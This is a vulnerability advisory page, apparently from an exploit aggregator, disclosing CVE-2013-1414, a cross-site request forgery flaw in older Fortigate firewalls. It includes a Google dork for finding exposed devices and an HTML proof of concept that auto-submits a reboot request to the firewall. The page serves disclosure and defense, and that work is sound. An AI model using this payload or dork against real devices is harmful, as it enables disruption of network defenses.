Fortigate Firewalls - CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Fortigate Firewalls - CSRF Vulnerability, allows unauthorized modification of settings and potential control over the firewall. Requires known IP and authenticated connection. Fixed in versions 4.3.13 and 5.0.2

Reporter	Title	Published	Views	Family All 12
0day.today	Fortigate Firewalls - CSRF Vulnerability	1 Jul 201300:00	–	zdt
CVE	CVE-2013-1414	8 Jul 201317:00	–	cve
Cvelist	CVE-2013-1414	8 Jul 201317:00	–	cvelist
Exploit DB	Fortigate Firewalls - Cross-Site Request Forgery	1 Jul 201300:00	–	exploitdb
EUVD	EUVD-2013-1452	7 Oct 202500:30	–	euvd
exploitpack	Fortigate Firewalls - Cross-Site Request Forgery	1 Jul 201300:00	–	exploitpack
Fortinet	Multiple CSRF Vulnerabilities in FortiGate	8 Jul 201300:00	–	fortinet
Tenable Nessus	Fortinet FortiOS < 4.3.13 / 5.0.3 Multiple XSRF	15 Apr 201400:00	–	nessus
NVD	CVE-2013-1414	8 Jul 201317:55	–	nvd
Packet Storm	Fortigate Firewall Cross Site Request Forgery	28 Jun 201300:00	–	packetstorm


                                                Vulnerability ID: CVE-2013-1414
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Product: All Fortigate Firewalls
Vendor: Fortinet http://www.fortinet.com
Vulnerable Version: &#60; 4.3.13 &  &#60; 5.0.2
 
Description
==========
Because many  functions are not protected by CSRF-Tokens, it&#39;s possible (under certain conditions) to modify System-Settings, Firewall-Policies or take control over the hole firewall.
 
Requirements
===========
An Attacker needs to know the IP of the device.
An Administrator needs an authenticated connection to the device.
 
 
Report-Timeline:
================
Vendor Notification: 11 July 2012
Vendor released version 5.0.2   / 18 March 2013
Vendor released version 4.3.13 / 29 April 2013
Status: Fixed
 
Google Dork:
==========
 -english -help -printing  -companies -archive  -wizard -pastebin -adult -keywords &#34;Warning: this page requires Javascript. To correctly view, please enable it in your browser&#34;
 
 
Credit:
=====
Sven Wurth     [email protected]
 
 
PoC
====
 
This  Example will reboot a Fortinet Firewall.
This is just one of many possibilities to attack this vulnerability.
 
##### CSRF - Proof Of Concept ####
&#60;html&#62;
&#60;body onload=&#34;submitForm()&#34;&#62;
&#60;form name=&#34;myForm&#34; id=&#34;myForm&#34;
                action=&#34;https://###_VICTIM_IP_###/system/maintenance/shutdown&#34; method=&#34;post&#34;&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;reason&#34; value=&#34;&#34;&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;1&#34;&#62;
                &#60;input type=&#34;submit&#34; name=&#34;add&#34; value=&#34;rebootme&#34;&#62;
&#60;/form&#62;
&#60;script type=&#39;text/javascript&#39;&#62;document.myForm.submit();&#60;/script&#62;
&#60;/html&#62;
##### End Poc #####

01 Jul 2014 00:00Current

6.5Medium risk

Vulners AI Score6.5

EPSS0.00446